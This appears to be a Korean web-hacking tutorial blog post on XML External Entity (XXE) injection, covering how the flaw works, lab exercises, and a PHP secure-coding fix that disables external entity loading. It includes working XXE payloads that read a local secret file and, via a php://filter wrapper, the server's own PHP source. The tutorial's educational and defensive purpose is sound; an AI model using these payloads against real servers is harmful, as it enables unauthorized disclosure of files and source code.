XXE Injection이란 무엇인가?
XML External Entity(XML 외부 개체 주입)
오늘 날에는 데이터를 주고받을 때 대부분 JSON을 사용하지만 아직도 XML을 사용하는 곳이 많이 존재한다. XML을 통해 데이터를 주고받는 기능에서 외부 개체 참조를 시도할 때 발생하는 취약점이다. 이를 통해 서버 내의 자원들을 무단 열람할 수 있게 된다.
공격 대상
XML 파싱 기능이 있는 어플리케이션에 대해 공격을 시도한다.
기존의 레거시 시스템에서는 메시지 바디에 XML 형태로 데이터가 전송되는 경우가 있다. 그런 경우 XML 파싱 기능이 존재함을 확인할 수 있다.
하지만 최근 기업들은 데이터 전송 포맷으로 JSON을 사용하기 때문에 공격 대상이 레거시 시스템을 운영하는 기존의 기업들로 한정된다. 따라서 앞으로 XXE Injection의 빈도는 점점 낮아질 것으로 예상한다.
공격 원리 분석
- 정상적인 XML Parser는 xml 형식의 데이터를 받아와 파싱한 후 결과를 애플리케이션에게 반환하는 기능을 수행한다.
- 비 정상적인 XML Parser는 xml 데이터 내부에 외부 파일을 참조하는 지시어(DTD, Document Type Definition)를 넣어서 외부 파일을 참조하고 애플리케이션에 반환하는 기능을 수행한다.
내부 엔티티와 외부 엔티티의 차이점은 SYSTEM
이라는 지시어의 유무이다.
이를 통해 외부의 파일을 호출할 수 있게 된다.
[실습4-1] XXE Injection 공격 실습
- 정상적인 XML
<?xml version="1.0" encoding="UTF-8"?>
<test>
<person>
<name>creehacktive</name>
</person>
</test>
- 내부 개체 참조
<!DOCTYPE a[
<!ENTITY str "crehacktive">
]>
<print>&str;</print>
- 외부 개체 참조
<!DOCTYPE a[
<!ENTITY str SYSTEM "file:///information/secret_info.txt">
]>
<print>&str;</print>
- 소스코드 참조
<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///APM_setup/htdocs/insecure_website/xmlparser.php">
]>
<print>&str;</print>
대응 방안
- JSON 데이터 형식으로 기능 구현
- DTD 및 외부 엔티티 비활성화
[실습4-2] 취약 환경 시큐어 코딩 적용 실습
각각의 어플리케이션에 맞는 적용 방식을 사용해야 한다.
<?
include_once("./common.php");
$xml = $_POST["xml"];
# DTD 및 외부 엔티티 비활성화
libxml_disable_entity_loader(true);
if(!empty($xml)){
$result = simplexml_load_string($xml);
}
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">XML Parser</h1>
<hr>
</div>
<div class="container">
<form action="index.php?page=xmlparser" method="POST">
<div class="form-group">
<label>XML</label>
<textarea class="form-control" name="xml" rows="5" placeholder="XML Input"></textarea>
</div>
<div class="text-center">
<button type="submit" class="btn btn-outline-secondary">Parsing</button>
</div>
</form>
</div>
<? if(!empty($result)) { ?>
<hr>
<?
print_r($result);
?>
<? } ?>
'Security > Web Hacking' 카테고리의 다른 글
[WebHacking] CSRF(Cross-Site Request Forgery) 공격 (0) | 2024.05.13 |
---|---|
[WebHacking] XSS 공격 (1) | 2024.04.28 |
[WebHacking] OS Command Injection 공격 (0) | 2024.04.28 |
[WebHacking] SQL Injection 공격 (1) | 2024.04.28 |
[WebHacking] 웹 해킹에 대한 이해 (0) | 2024.04.28 |